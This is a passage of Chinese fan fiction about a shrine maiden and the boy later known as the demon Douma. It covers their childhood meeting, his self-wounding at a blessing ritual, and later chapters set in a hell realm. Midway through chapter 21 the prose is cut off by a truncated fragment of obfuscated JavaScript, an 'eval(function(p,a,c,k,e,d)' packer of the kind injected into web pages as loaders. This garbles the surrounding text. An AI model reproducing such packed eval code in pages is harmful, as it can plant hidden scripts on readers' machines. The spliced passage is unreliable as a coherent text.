她那威严的父亲露出了罕见的笑容,开始说些客套话。那位神子一脸微笑的听着,回话时也是一口流利的官话,竟是对答如流,半分没有孩童的畏惧或羞涩。 随后他们便开始讲经论道。她坐在神坛下,虽然能听明白其中神道和佛经里的典故,却不太能听懂那神子所宣说的极乐之道,只感觉有点无聊。 但他的光真好看啊。她如此想着。即便在室内也很明亮,像是一团升腾的白虹。父亲为什么看不到呢?这么美丽的光,在场却没有一个人注意到,真是好可惜呀。 正在走神,却没想到那位神子突然开口道:“久闻荒川神社的巫女白姬大人之名,今日一见,果然不同凡响。” 不同凡响?她感觉脸上糊的白粉都要掉了。 下一句话更让她心慌起来。 “听说荒之巫女以祭舞著称,不知今日可否有机会欣赏白姬大人的神乐舞呢?” 神…神乐舞?虽然她进入神社后一直在学,但从不知道自己这么出名啊! “如此甚好。”父亲赞同道,“那就请白姬巫女为极乐教的神子献舞。” 神子贴心的补充道:“仅是演绎,不为祭神,巫女大人不必太过挂心。” 她只能硬着头皮下去换了衣装,手拿涂了金银双色的纸扇和摇铃,踩着太鼓和笛子的节奏在殿中舞了起来。四岁进入神社,到今日充其量也只学了四年,平日又只爱读经和玩耍,她实在觉得自己的动作很是生涩。 那位极乐教的神子看的倒是极为专注,还为她打拍子。 什么人嘛,肯定是认出了她在街上闲逛,故意叫她出丑的。 第一日,直到腰酸背痛的躺在榻上时,她还如此气哼哼的想着。 第二日的上午和下午依然是枯燥的讲经。父亲有公务先回了藩邸,藤月夫人和她的近侍们留了下来,她似乎对那位神子颇有兴趣,可能是孩童的嗓音格外清澈甜美,仿佛有着某种令人信服的魔力,也可能是因为长子早逝,她拉着神子的手,说着说着就落下泪来。 神子握着夫人的手,也跟着掉了眼泪,一直安慰她道:“您的儿子已经被神明接引到了极乐净土,一切安好。您如此善良,神明说他必定会保佑您的,夫人。” 夫人哭诉一番后看起来很是舒适,叫人拿了大盘的金银和绸缎来,说是供养。神子身后那名青衣女子千恩万谢的接了过去,室内一片相互恭维之声。 只有她觉得很不高兴。为什么那孩子的光,在藤月夫人握着他的手哭泣后,就明显的暗淡了呢?昨天明明还是那么漂亮的颜色啊。 晚上她偷偷溜到侧殿想再拿些点心回去吃,却发现那里有人。她蹑手蹑脚的走过去,发现竟然是那名神子在神坛前。烛火中他的光恢复了柔和的白色,虽然没有那一天见面时那样璀璨夺目,但看起来正常了不少,她才莫名的放下心来。 她正犹豫着要不要上去打招呼,却看到那孩子做出一件让她完全意想不到的事。 他将手伸向神坛上一盏燃烧的蜡烛,缓缓捏住烛芯,掐灭了蜡烛的火焰。 被火焰燎到了手,他却毫无反应,而是歪着头,神色异常平静,又将手伸向下一盏。 他就那样用手一盏盏掐灭了大殿里的烛火,似乎玩的全神贯注,都没有留意到目瞪口呆的女孩子。 直到他掐灭第六盏蜡烛时,她才反应过来,冲上前去一把抓住了他的手。那孩子似乎吃了一惊,但马上露出恬静的微笑,一边用力将手缩回宽大的衣袖中,一边用讲经时那种非常柔和的语气说道: “巫女大人夜安,您在这里做什么呢?这么晚了还没有休息吗?不要吵醒其他人哦。” 望着那双在昏暗的烛光中也显得清澈透明的眼睛,她一时语塞,只得小声说:“你在干嘛?会烫伤的!给我看看!” “您在说什么?我不太能听懂呢。”那孩子一脸无辜纯善,倒似乎是她在无理取闹。 “你的手会被蜡烛烫伤的!”她不由得稍微提高了声音,“给我看看,快点!” “啊,您说那个吗,不会的哦,我是神明之子,不会感觉到痛的。”神子相当镇定的说着,一边往后退了一步,“明天还有讲经会,我要先回去准备了,巫女大人也请早点休息哦。” 她执拗的抓住神子的手不放:“不行,你在荒川神社受伤的话,我、我也会很困扰的!给我看看,要不我就叫女侍来!” 兴许是怕她真的喊人,神子只能缓缓将手伸了出来。 她这时才意识到,对方也是个只有七八岁大的孩子,那只手很小,很软,掌心洁白细嫩的皮肤上,却不明原因的已经有了一些深深浅浅的疤痕。 “什么不会受伤?都已经烫红了,会起水泡的!”她第一次感受到心都抽紧了的感觉,随即不知道哪来的勇气,开口就威胁他,“你站在这里别动,我去拿烫伤药。你要是敢跑掉,我马上就告诉女侍,还、还要告诉柳生大人,你知道的吧?他是我的父亲大人!” 她自己也不知道为什么第一次搬出父亲的名号是为了吓唬另一个素不相识的小孩。总之父亲大人这次倒真的发挥了作用,等她拿着药膏跑回正殿时,那孩子还真的乖乖站在神坛下等她。 “您这样让我很困扰呢。”神子看到她就低声说,“我还有很多事要忙。” 她不理他。只是逼他伸出手,用棉布沾着药膏往上就抹。 那孩子毫无反应,只是略带困惑的望着她的举动。 “这样就好了。”弄好后她呼出一口气,“明天就不会红肿了,没人看得出来的。” “您真好心。”神子礼貌的说,“请问我可以回去了吗?” 她忽然意识到自己做了多么失礼的事情,一时有点后悔自己的冲动,只好忙不迭的解释道:“我、我是为了感谢昨天在街上你帮了我,没有别的意思!我也不会告诉其他人的!你、你别生气!” “我不会生气的哦。”那孩子露出了温柔的笑意,“神明之子是不会生气的。在街上遇到您真是缘分,如果知道您就是白姬大人,我就会将您送回神社了。您为什么就那样跑掉了呢?” “啊…”她有点不知所措,低下了头,嘴里干脆结巴起来,“我、我昨天是偷偷跑出去买点心的,仪容、仪容不整,所以才……” “那并不是您的错啊。” 她猛的抬起头。那孩子的眼中映着烛火,竟是她从未见过的暖色。 “那不是您的错,而是有人故意欺辱您。”他又重复了一遍,“所以不必自责哦。您昨天的表现非常勇敢,我都看到了。” 不知道为什么,她的眼泪瞬间沿着脸颊滑落。 不是你的错。 先前从未有人对她如此说过,连母亲也没有。 尽管她从不知道自己做错了什么,会招来父母的冷眼,兄弟的厌恶,仆从的忌讳。 她几乎就要哭出来,突然之间想到了那孩子在哭泣的藤月夫人面前暗淡下去的光,马上硬生生的忍住了。 随即她揉了揉眼睛,用尽全力对那孩子露出了一个灿烂的笑容。 “谢谢你!能认识你真的太好了!你叫什么名字呀?” 那孩子愣了愣,仿佛听到了一个无比陌生的问题。 “我没有名字。”他说,“神明的孩子是不需要名字的。” 第三天上午藤月夫人又来了,还带了许多新奇的玩意儿,连西洋的自鸣钟都有,她之前在母亲院中都从未见过。之后藤月夫人又拉着那位神子进了内室,说是要忏悔往昔的罪过。这一下就过了午时,女侍开始轮流送上茶点和时令水果时,才见他们从偏殿出来。藤月夫人很是激动,说是遇到了真神的的眷顾,要为万世极乐教奉献一座新的寺庙云云。 一点也不好。她难过的想,那孩子的光又变暗了。 她实在不知道该怎样对人解释这件事,上一次提到这些,自己就被父亲直接送来了神社。她再愚钝,也明白自己和旁人不一样,除了小白,没人能听懂自己的话,就像只有自己能听懂小白的话一样。 听不懂的人,就会害怕和厌恶她。 但他会懂吧?她想。他那么聪明、温柔,一定能听懂吧。 可万一呢,万一他听不懂,也像别人一样不再理她了,该怎么办呢? 下午如此纠结着路过庭院时,她意外的看到那位神子拿了她的纸扇,在春日的阳光下练习神乐舞。 那是她从未见过的优美祭舞,即使穿着纯黑的法衣,还是个只有七八岁的男孩子,却跳出了犹如冰雪霜华般的出尘之姿。他洁白无垢的发梢在阳光下像是撒了一层金,眼中却是一片空明。 像是初雪。她想。也像冬天的最后一场雪。 她发现只要是在阳光下待一阵子,似乎他身上的光就能变得明亮一些。这个发现让她很是欣喜,于是冒出一点小小的鬼主意,她走过去主动说道: “你跳的真好,能教教我吗?” 那孩子擦了擦额头上的薄汗,可能是阳光下的运动让他雪白的脸庞带上了一点粉色。他笑笑说:“好呀。那麻烦巫女大人先跳一遍给我看看。” 她便又拿着扇子跳了一遍,还故意将动作放慢了些,以求拖延时间。 “跳的很好啊。”那孩子称赞道,“就是错了两拍哦,我来演示给您看。” 来来回回磨蹭了几遍,直到她实在不好意思再装傻了,两个孩子才停了舞蹈,回到檐廊下喝抹茶吃栗子饼。 那位神子却仿佛没见过栗子饼似的,拿着小碟子好奇的反复端详。 她拿起来咬了一口,开心的笑起来:“好甜呀,你尝尝看,这是父亲大人派人送来的,这个时节还能吃到秋天的栗子,很不容易呢。” 可那孩子淡淡的说:“清子夫人不让我吃甜食。柳生大人和您的好意,我心领了。” “诶?”她头一次听说这种事,“为什么?哪有小孩不爱吃甜的?” “说是怕吃坏了牙齿,笑起来就不好看了。“那孩子认真的说。 她怎么也没想到是这种原因,立刻哈哈大笑起来。 “什么嘛!那你平日在家吃些什么呀?总不会连点心都不吃吧?” “日常只有素食和鱼。”那孩子想了想,说道。 “……这就没了?” “不需要别的了。清子夫人说,神之子要身为表率,不可在饮食上奢侈。” 她笑疯了:“难怪你长的那么矮!你今年几岁啦?” 那孩子似乎完全不适应这种日常问题,连表情都变得迷茫起来:“我…到冬天应该是八岁了。“ “应该?”她震惊了,“你不会连自己的生辰都不知道吧?” “生辰是有的,是别的日子哦。我是听清子夫人的女侍说,她是冬天生下的我。”那孩子捧着茶杯,姿态极为典雅的喝了一小口,“但神之子的生辰是由神明来决定的,是教众们的节日,所以不可按自己的意图胡来。” “啊…”她简直不知道说什么好,“什么嘛,那个清子夫人…原来是你的母亲啊!为什么要用这么奇怪的称呼呢?母亲就是母亲啊!” “神明之子只是借助人类的身体出生而已,我没有母亲。”那孩子淡定的说,“清子夫人也不许我喊她母亲。” 没有名字,没有生辰,没有母亲,连爱吃的东西也没有? 她第一次感到这个世界上存在着某些自己永远也无法理解的事。 千言万语都堵在胸口,她感到莫名的难受。 就算是神明之子,这明明也只是个普通的孩子啊。 她以为只有自己才是被父母所嫌弃的孩子,没想到竟然还有母亲就在身边,却永远无法喊一声母亲的孩子。 “你……好可怜。”最终,她轻声感叹道。 那孩子的表情像是听到了什么令人惊讶的事,但他马上微笑起来。 “没有哦,是我令您误解了吧。我存在的意义就是帮助世上受苦的人们,引领他们到达极乐净土,这是我作为神之子的义务,我对此感到非常幸福哦。“ “极乐净土是哪里?大家为什么要到那里去呢?”她困惑的问。 那孩子笑的更加温柔:“我这两天都有讲经,您一定是没有好好听吧。” 她感到自己的脸上热了起来,支支吾吾的说:“我,我有在听啊,但我听不懂……” “没关系,我来解释给您听。”神之子耐心的说道。 于是他把这几天讲过的内容又以简单易懂的语言复述了一遍。她听完才大概明白了点,但还是一头雾水。 “这么说的话,那是个大家死后都可以去的地方?” “不是哦,人死后就什么都没有了,只有相信神明通过我来施予的救赎,相信万世极乐教,才可以到极乐净土去,那里不再有苦难,非常的幸福哦。” “但是你…” 她差一点就把光的事说出来了,想了想还是咽了回去。 “你…你不能少听人做一些忏悔吗?”她努力选择着合适的词句,“他们好像总是在哭,在一个小孩子面前哭,我总觉得…总觉得这对你不太公平。” “不会哦,巫女大人为什么这么说?” 那孩子垂下眼帘,露出了极为纯净的、属于神明之子的微笑: “帮助世上受尽苦难折磨的人,就是我的职责哦。信众们只是因迷惑而受苦,他们虽然会在我面前哭泣,但每一次只要我流下眼泪,或是对他们微笑,说些安慰的话,他们就能重新露出笑颜,这对我来说就是最好的回报,不再需要别的了。” “我希望大家都能从我这里得到幸福,这是我存在于世上的意义。” 这天夜里,她躺在榻上,很久都睡不着。 到底是哪里出错了呢?她想。 那孩子说的道理明明都是对的,但为什么就是感觉有哪里不对呢? 隔天她才知道清子夫人就是跟随在神子左右的和服女子,日常总是一副不苟言笑的样子,只有在面对藤月夫人时才露出笑容。这也在意料之中,她俩连光的颜色都很接近。 只是完完全全看不出她和神子是一对母子,虽然她讲起话也是轻声细语,但使用的都是敬称,行事总是中规中矩,也从不直视那孩子的眼睛。 当天藤月夫人再次来了,还带上了她所宠爱的小儿子阿松,说是要一同接受神之子的祝祷。当她看到她那位骄纵的兄长大人进门时,便知道今日之事不会善了。 果然,当双方刚在厅堂中坐定,稍微寒暄了几句后,那已满十二岁的华服少年便斜睨着神子,冷笑了一声。 “是你啊,那天我见过你。” 神子朝他微微欠身,安静而礼貌的笑道:“的确,那天有幸在城中街上与阿松公子有一面之缘,您英勇的身姿真令我过目不忘呐。” 藤月夫人很高兴的问:“你们先前见过面啊?阿松回来怎么也没跟我说?” 阿松大概怎么也没想到自己上来就在一个七八岁的小孩身上吃了个暗亏,只能咬牙切齿的忍了下去,狠狠把头扭到一边。 祝祷即将开始时,几位内侍正将仪礼用具摆上桌子,阿松翻了个白眼,又开始发难。 “喂,”他将双手一插,“我凭什么信你啊?” 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只听神子声音清亮的说,“只是阿松公子说的那种事太过粗暴,恐怕会令藤月夫人不安。但您的要求很合理,您又是柳生大人高贵的公子,我就用我的血来为您祝祷吧。” 说罢,那漂亮的孩子面不改色的拿起桌上的太刀,将刀刃对准左手的手心,狠狠的划了下去。 室内一片噤声,她只听到轻微的滴答声。 滴答,滴答,滴答…… 脑子空白了一阵后,她才意识到那是神子的血滴在茶席上的声音。那是殷红的血,看起来和常人没有不同,但任凭谁也无法相信,一个年仅七岁的孩子以利刃割手,见血流成河,竟然毫无痛色与恐惧,那张脸上甚至还带着甜美的笑容,七彩斑斓的双瞳中只有一片寂静。 “我为您祝祷哦,阿松公子。愿您福寿安康。” 藤月夫人是第一个坐不住的,她站了起来,狠狠抽了小儿子一个耳光。 “阿松!太过分了!你给我向神子道歉!” 那少年显然被满桌的鲜血,也被母亲的暴怒吓住了,支吾了几声也说不出话,末了只结结巴巴的说:“我…我…我怎么知道…” “你给我滚出去!” 她站了起来,一把掀翻了阿松面前的茶席,精致的茶具碎了一地。 藤月夫人目瞪口呆的望着她,大约是从未想到这平日在家连话都不敢多说的庶出幼女竟突然对正室和嫡子发怒。 她感觉自己全身都在发抖,从未抖的如此厉害,但她的声音是从未有过的坚决和强势。 “我以荒川之神的巫女之名,命你们马上离开我的神社!神明不欢迎你们!你们玷污了它的道场!“ 阿松显然也被吓到了,但看到是她,还是梗着脖子顶了句:“你敢……” “不怕遭受神明诅咒的话,你尽可以留下来。”她轻蔑的看着他,“看看你会不会全身溃烂而死!” 这话显然起到了震慑作用,加上她平日在家就以不祥之人的名声著称,更让藤月夫人母子感到了恐怖。那华贵的女子连声向神子道歉后,就拉着儿子急急忙忙的走了。 她这才扑过去,边从桌上抓起条茶巾捂住那孩子鲜血淋漓的左手,边带着哭腔尖声喊道:“快来人!叫大夫来啊!” 事情一直闹到了下午才收场。伤口割的很深,血过了很久才止住,但幸好没有伤及筋骨,大夫上药后就离开了。她顾不上女侍们惊愕的目光,哭的泣不成声。 反倒还是那孩子微笑着安慰她。 “白姬大人不要哭哦,一点也不痛呢。” “我…我…我没有哭。”她抽着鼻子,却怎么也忍不住眼泪,“我才没有哭呢。” “您为什么要哭呢?这是很正常的祝祷哦。是吓到您了吗?”神子诚挚的说,“真是抱歉啦。” 她看了一眼他的光,发现没什么异常后,才慢慢平静下来。 “很痛吧?”她轻声说,“都是我的错。如果那天不是在街上顶撞阿松,他就不会这样为难你。” “您没有做错任何事,不要总是如此苛责自己。” 她抬起头,那孩子清澈的目光里全是令人安心的笑意。 “另外,”他的声音突然压低,甚至调皮的眨了下眼睛,“告诉您一个小秘密。” “我其实,是真的不太怕痛的哦。也感觉不到害怕和难过。” “怎么可能?”她吸吸鼻子,“怎么可能有人感觉不到害怕和难过?” “是真的哦,都说了我是神明之子嘛。” 白橡发色的神子伸出那只没有缠绷带的手,擦了擦她脸上的眼泪。 “但您也是我见过的第一个会站出来帮我说话的人,虽然不太明白您为什么那么生气,但我还是很感谢您哦,您真是一位勇敢的女孩子呢。“ 她看着他平静如雪后大地的眼睛,终于破涕为笑。 “你母亲…清子夫人呢?”她看了看四周,“怎么一直没看到她?” “清子夫人去府上拜会藤月夫人去了,惊吓到了藤月夫人,她感到很过意不去。”神子说,“我下午要抄经,所以您可以先…” “我们走吧!我带你去个地方!” 她抓住他那只完好的手,全然不顾那孩子惊讶的表情,拽着他从后门溜出了神社。 她一路拖着他上了神社的后山,初春的气息已经覆盖了这座小山,在能看到荒川的山坡上,已经盛开了大片的蒲公英和牵牛花,但最美的是一棵山上的樱树,落樱纷纷扬扬,像雪片一样撒满了向阳的草地。 那孩子微微睁大了眼睛,轻声赞叹道:“真漂亮啊……白姬大人带我来这里,是为了看这棵树吗?” 她在草地上躺了下来,随手拍了拍身边的青草。 “我们就呆在这里,马上日落后就会有星星出来,还有萤火虫呢,我经常在这里捉萤火虫哦。” “可是…”那孩子为难的说,“我还要…” “偶尔偷懒一下也没关系啦!入夜后神社山下会有市集哦,我带你去买酱油团子吃。” 他们就那样躺在山坡上,一直到了夕阳沉下,漫天星斗布满了夜空。山下的灯一盏一盏亮了起来,散发着橘色的温暖光芒。 “啊…不知道为什么,和白姬小姐在一起,心情会变得很平静呢。”那孩子感慨道。 “我要告诉你一件事。”她终于鼓起了勇气,“我其实…其实能看到你的光。” “我其实从小就看得见,所有人身上都有一层光圈,生病和快要死掉的人,光就会消失掉。” “父亲和母亲讨厌我这样的孩子,就把我送到了神社里。” 那孩子好奇的问道:“光?是什么样的光呢?” “你的是白色的,像是、像是冰雪折射出彩虹的样子,对,就像你的眼睛一样。我从来没有见过那么漂亮的光,任何一个人身上都没有。”她诚实的说。 “你不要觉得我奇怪。我…我只是想告诉你,我发现……” “这样我就放心啦。“ 那孩子突然发出了轻轻的叹息。 “白姬小姐的话,恰恰证明了我是真正的神明之子,对吗?” “啊…”她一时语塞,“是啊,我也这么觉得。” “这样就太好啦。”神子轻声说。 “毕竟,我从来,都没有听到过神明的声音啊。” 她在黑暗中睁大了眼睛,却看到那孩子的眼里空无一物。 “可、可是他们都说你可以…”她再次结巴起来。 “是一次都没有过哦。”那孩子枕着手臂,扭头朝她笑了笑,“我都是骗他们的。” “白姬小姐会替我保守这个秘密吧?”他冲她眨了眨眼,“这是只属于我们之间的小秘密哦。” 直到下山,她还处在震惊中。但到了夜市,看到琳琅满目的新鲜吃食,她就马上把刚刚的震惊抛到了脑后。左手拿了两串酱油团子,右手拿了两串樱饼,她挤出人群,把吃的塞进那孩子手里。 “可是我…”那孩子很是犹豫的样子。 “吃!你的清子夫人不在这里!”她严肃的说。 神子听话的咬了一口团子,露出了惊讶的表情。 “好甜啊。”他说。 夜色已深,人世的灯火一盏盏熄灭,只有星月之光照亮了通往荒川神社的路。 “你看,我们不用去极乐净土,也可以很开心。”她骄傲的说。 “可人活着就是一件痛苦的事,去往极乐有什么不好?”那孩子轻声说。 “胡说!”她立马反驳,“你刚刚吃的酱油团子和樱饼是什么味道的?” “当然是甜的啊。”他一脸茫然。 “这不是有甜的感觉吗?人活着不止是痛苦,也有快乐的事。如果还不能理解的话,明年春天你还到这里来,我带你去吃羊羹和樱花团子,还有松子糕。”女孩几乎把脑子里记住的美食都倒了出来,“后年我带你去江户城的店里吃蜂蜜蛋糕,大后年…大后年我们就算长大了,我带你去喝糯米酒,如果是冬天来,我还可以给你烤地瓜!” “总之,”她抓住神子微凉的双手,“不要那么容易就放弃呀!生命是无比宝贵的东西,一定要好好珍惜!” 那孩子一副完全被她惊呆的表情,半天才讷讷的答道:“好哦。” 回到神社,她带着那孩子偷偷绕路,摸黑前往他暂时居住的侧殿。即使这样,在经过走廊时,还是听到了女子尖锐的斥责声。 “我都说了多少次让你们看住那孩子!怎么都这么不让我省心?!” 那孩子停住了脚步,安静的站在了门口。 有个男人的声音在劝她:“清子,不要急啊,也许只是偷跑出去玩了…” “你还好意思说!你就是个废物!一点用处都没有!”女人大声骂道:“什么都是我在操心,藤月夫人那边你也说不上话!” “还有那孩子也越来越奇怪了!今天还吓坏了藤月夫人和她的小公子!明明告诉他小心一点,还弄了一桌子都是血!” 她看到身旁那孩子的光,一点点在黑暗中暗淡下去,脸上却慢慢浮起了属于神之子的甜美微笑。 他推开拉门,昂然的走了进去。 “清子夫人,我回来了。请您不要动怒,我一切安好。” 只有她看到,那孩子一路攥在手里,一口也没有吃过的樱饼,被悄悄丢在了走廊的地上。 第二天一早,清子夫人就遣人来告别,说是应了京都那边某位贵族的邀约,要赶快带着神子前去,因此连夜收拾了行装,一早就要启程。 她气喘吁吁的赶到神社门口时,看到那孩子站在鸟居旁,微笑着在等她。 她从怀里掏出几样东西,一股脑塞给他。 那孩子看着她塞进手里的佛经,脸上浮起了一丝诧异。 “是心经哦。”她解释,“你平时没事就抄几句,对静心很管用。还有那把小刀子,没有开刃,下次他们再让你表演什么戏法,就不要傻乎乎的去抓刀刃啦!” “还有这个。” 她小心的拿出一支带着完整花朵的樱花,“这个给你。我们约好了,明年樱花开放的时候,你还要来我这里哦!” 神子注视着她。白橡色的头发被风吹的轻轻飘动,虹色的瞳孔中依然一片平静。 他叹了口气。 “怎么办,我没有准备礼物哦…” 他想了想,解下了念珠上挂着的一枚小小的银铃,放在了她手中,而后脸上扬起一个她所见过的最坦然的笑容。 “这是驱魔铃,是很久以前,清子夫人给我的。现在送您了,愿神明保佑您安康,白姬小姐,我们后会有期。” “嗯!我们后会有期!” 她含着眼泪,握紧手中刻着莲纹的银铃,久久的看着那位没有名字的神子远去的背影。 尾声 江户本地的史书记载,荒川神社的巫女白姬,恪尽职守,在德川吉宗公在位期间,适逢大旱,江户城瘟疫盛行,巫女白姬为报苍生之恩,安抚荒川之神,以自身献祭神明,时年刚满九岁。 几乎是在同一年,京都的贵族圈子中流传着一则秘闻。传闻那万世极乐教的教主夫人撞破教主与情人偷欢,一怒之下竟持刀弑夫,随后又服毒自戕。年仅八岁的极乐教神子正式登上了神坛,执掌教主之位。 樱花散去,大雪降临。 21. 食人之鬼与斩鬼之人(1) 过了也不知道多少天,我们终于走出了那片石化的树木组成的森林。死灵之森和业火之界不太一样,这里的灵力流动似乎没有什么规律可循,也没发现三途河那样的地下灵脉,所以我不再让童磨用他那得瑟又浪费的血鬼术冰莲花,而是逼他跟我一起走路。 听到我的决定时,这只鬼又露出了泫然欲泣的表情,但我已经学会不去关注他的表情,反正也都是他装出来的。 其实还好,我俩都是身体素质和法力水平都比较不错的那种存在,行动起来也很迅速,所以就当在地狱里观光。唯一让我不放心的是,自从杀了两个魂灵狩之后,一直没有更厉害的对手出现,我总怀疑对方在憋什么大招。 挥刀斩开脚下生物那巨大的身体,我扒出它鲜血淋漓的心脏,从里面抠出一颗灵力晶核,丢给在一旁一脸看热闹表情的童磨。 “你记住了,只有这个才能吃,别的部分都不要乱吃。” 鬼像舔糖果一样舔了舔那颗晶体,非常不情愿的将它放进嘴里。看他那副样子,就好像一个成天锦衣玉食的贵公子要被迫吃石头子一样。 我摇摇头,看着手里那颗心脏,实在没什么食欲,但也只能咬一口试试。 呃,很多年没吃过生肉,太恶心了。 什么也没干的白吃饭鬼马上抗议起来:“我不干,下次要跟小染换,我来狩猎,我喜欢吃心脏。” “免了吧。你那个吃什么吸收什么的体质,总感觉很容易食物中毒。” 不是我危言耸听,这只鬼饿了什么都敢往嘴里塞,之前吞噬血池的怨灵已经“醉”了一次,要是在死灵之森里吃到什么不该吃的,我都不知道怎么抢救他。 “我多少也是个半神,而且在业火之界混了两百年。”我跳下魔兽庞大的尸体,“我很适应这里,所以童磨大人不用担心,我吃这个就好。如果我吃完没什么事,再给你血也可以。话说你有感知到灵力的流动方向吗?” “暂时还没有呢。”童磨望了眼我们面前一望无际的荒原,“但有些有趣的东西要给小染看看。” 他手上出现了几片悬浮在空中的雪花,但令人惊讶的是,雪花并不往下沉降,而是缓慢上升,直奔云层而去。 我惊呆了,第一次见到反着飞的雪。 “我用上了一点寻物的血鬼术,虽然是没什么用处的小法术,但似乎显示上面和下面的灵力流动是不一样的。”童磨指了指我们头顶一片混沌的天空,“这次可能是在上面哦,那种河流。” “沿着河流的方向找到大海…”我想起小白在梦中给我的提示,兴奋的一把抱住面前比我高出一头多的鬼,“你太厉害了呀,童磨大人!” “那当然,我是鬼嘛,是很厉害的上弦哟。”鬼笑嘻嘻地揉了把我的头顶,“诶呀,小染突然好热情啊,不错不错,热情的女孩子我也很喜欢。” 我忍俊不禁:“所以童磨大人彻底变成鬼了?不再是神之子了?” “小染这么聪明,应该也已经看出来了吧。”童磨一脸无所谓的笑容,“我并不是什么神之子哦,也从来都没有听到过神明的声音,是那些信众坚信我能听到罢了。人类就喜欢这种虚妄的希望,我只是满足他们的愿望而已。” 果然,并不是我的错觉。从那个极乐寺的幻境出来后,这鬼的面具上似乎多了点什么,又似乎少了点什么。 是琴叶吗?我想到了那位有着明亮的绿眼睛的少女。他们在地狱里重逢,然后他第二次失去了她,我无法知晓他究竟如何看待他与琴叶的过往,但这仿佛多少对这只毫无感情的鬼产生了影响。 还是那些因为追随他寻求极乐而堕入地狱,又被他亲手抹杀的信徒呢? “是神还是鬼,又有什么关系?”我拽着他继续往前走,“你是你自己就够了。我还是半个神呢,不是一样跑到地狱来了?我以前听说,世上有三千世界,八百万神灵,也许在某个世界,童磨大人真的是神呢。” “说起来,就连‘童磨’这个名字,也是无惨大人赐予的呐。”鬼在我身后以一种非常淡漠的语气说道,“我作为人类时没有名字,生下我的女人认为她没有资格为神明之子取名。所以你看,做鬼的好处之一,就是你至少可以获得一个名字。” 而不是一个永远伴随着一双双流泪的眼和伸向你的手的空洞称号。 “我觉得童磨这名字挺好,好听也好记。”我说,“我原先也没有名字,谁会给神起名字啊。是白把她的名字给了我,后来堕入地狱时,封印我的阴阳师说我被杀戮染污,就叫做‘染’了。但我干嘛在意这个?我喜欢哪个就用哪个。” “小染真是个奇怪的孩子呢。”鬼又露出了那种意味深长的笑容,“之前就想问来着,那位叫做白的孩子,是你的朋友吗?” “她是我的巫女,也是我的一部分。”我停顿了几秒,补充道,“被我吃了。” “啊。”童磨发出了同情的感叹,“真是个悲伤的故事,请原谅,我不该多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莲的甜美,血的腥香,丝丝绕绕,仿佛缠住心脏的红线。 红线收紧,早已死去的心脏就好像跳动了一下。 这一定是某种血鬼术。我如此笃定的想。 “是啊,除了童磨大人,我也没有其他朋友了。”我费了点力气才把那只鬼的胳膊从我脖子上摘下去。“所以请放心,我一定会保护你的。” 童磨的表情像是看到了什么奇异的东西,连那双总是弯起来、似笑非笑的彩色眼睛都睁大了。 “我没有听错吧?”他故作惊讶的表情实在令人手痒,“呐,小染,再说一遍给我听听?” 神经病。 我无语,扭头就走。 “最后那句,再说一遍嘛,人家想听呢~” “拜托你闭嘴啊!” 22. 食人之鬼与斩鬼之人(2) 我真是不知道自己欠了童磨什么,活了几百年,居然承担起了给一只鬼打食的重任。难道是因为极乐教的教主大人即使已经下了地狱,还自带某种神圣光环,让人不由自主的产生供养的愿望? 可我干嘛要养他啊?!说好大家只是合作关系,凭什么我要当那个家伙的保镖+保姆?看他那样子就是平日里被人伺候惯了,居然一点也不知道脸红吗? 谁还没被人伺候过似的,我以前可是…… 确实没被人伺候过。 一边挫败的碎碎念,我一边从第五只魔兽的心脏里拆出灵力晶核。那团模糊的血肉里钻出几只荧绿色的死灵,应该是平时寄生在魔兽体内,我皱了皱眉,把它们摔落在地上,死灵几乎在一瞬间就钻进了土地中。 死灵界的地下应该藏着无数这种东西,真是危险,虽然似乎无法寄生在我们身上,但它们密密麻麻扑面而来、上身就啃的样子令我回想起来就不寒而栗,还是小心一点为好。 正准备返回时,我突然闻见一阵异香。 樱花? 几片淡粉色的花瓣飘落在我脚下,我蹲下捡起一片,确实是落樱。 这地方哪来的樱树? 我抬头望去,远处隐约真的有一棵繁花怒放的樱树,四散的落樱如雪片飘散,在这个灰暗的空间里像是一道光,散发出一种格外动人的美。 有什么模糊的画面出现在脑海中,我情不自禁的向那棵树走去。 叮。 耳畔响起遥远的铃声。仿佛那是一个初春的清晨,也是无数早樱开放的时节,浅白浅粉的花瓣铺满了江户城的大街小巷。大道宽阔,车马隆隆,来来往往的人们对这春日美景似乎已经司空见惯。 一片花瓣落在女孩乌黑的额发间,她抬手拈下,对着碧蓝的晴空举起,白亮而清澈的日光让花瓣的边缘像是燃着了火焰。 叮。 又是一声铃响。当我意识到那是我左手腕上那个以为早已坏掉的驱魔铃在响时,本能让我迅速后退,但还是被什么东西扯住了脚踝,直接甩到了半空。 随着贴近那黑色的树干,我发现那上面有很多人脸。年老的,年轻的,长着角的,狰狞的,扭曲的,平静的…… 人的脸和鬼的脸,密密麻麻的布满了这棵树的枝干。 这烂地方的陷阱还真是无处不在! 我在空中迅速拔刀斩断缠住脚踝的树枝,刚落到地上,就又有几根枝条像蛇一样卷过来。 那棵树整个颤动起来,迷乱人眼的樱花消失了,取而代之的是无数扭动的、犹如触手一般的黑色树枝,树枝迅速合拢成一个圆形的笼子,将我困在其中。 我挥刀斩断袭来的树枝,断掉的树枝中除了喷出黑色的液体,还涌出十几只死灵,那些荧绿色,状如巨形蛞蝓的生物在发出一阵嘶嘶声后,回头就朝我扑来。 见状我只能迅速做出了三层水结界,但依然挡不住这东西的渗透力,更要命的是不知何时又有一根树枝缠住了我的腰,将我朝着树干猛扯过去。 临到树干面前,那上面一阵鼓动,翻出了一张新的面孔,然而那张脸怪异之极,眼睛的位置是两张嘴巴,嘴巴的位置是一只眼睛,额头又翻出一只昏黄的眼珠子。那两张嘴巴一张伸出了舌头,另一张发出了咯咯的声音。 “是个女人!哈哈,地狱里竟然还有这么漂亮的女人!我好久没吃过女人了,今天运气真好,运气真好!” 我自认见过无数怪物,但这次是真正被恶心到了,于是一刀捅进了那张喋喋不休的嘴里。 那个东西发出了嘶嘶的尖叫,但更多的死灵马上涌来修补好它的伤口,并顺着我的刀向我爬来。 共生吗?这样也行?! “过分!好过分!”那不知道是什么的生物嘶嘶的尖叫道:“还没有人敢这样对我,没有人!我要把你这女人撕成肉片!” “你试试看啊,渣滓。”我冷然道。 今天看来免不了要被咬几口,咬就咬吧,就是恶心了点而已,没什么了不起。 几条树枝上来缠住我手中的刀,我死死的抓住刀柄不放手。那张嘴磔磔怪笑起来:“女人力气还挺大!看我把你的手切下来……” “诶呀呀,我没认错吧?这不是玉壶阁下嘛?” 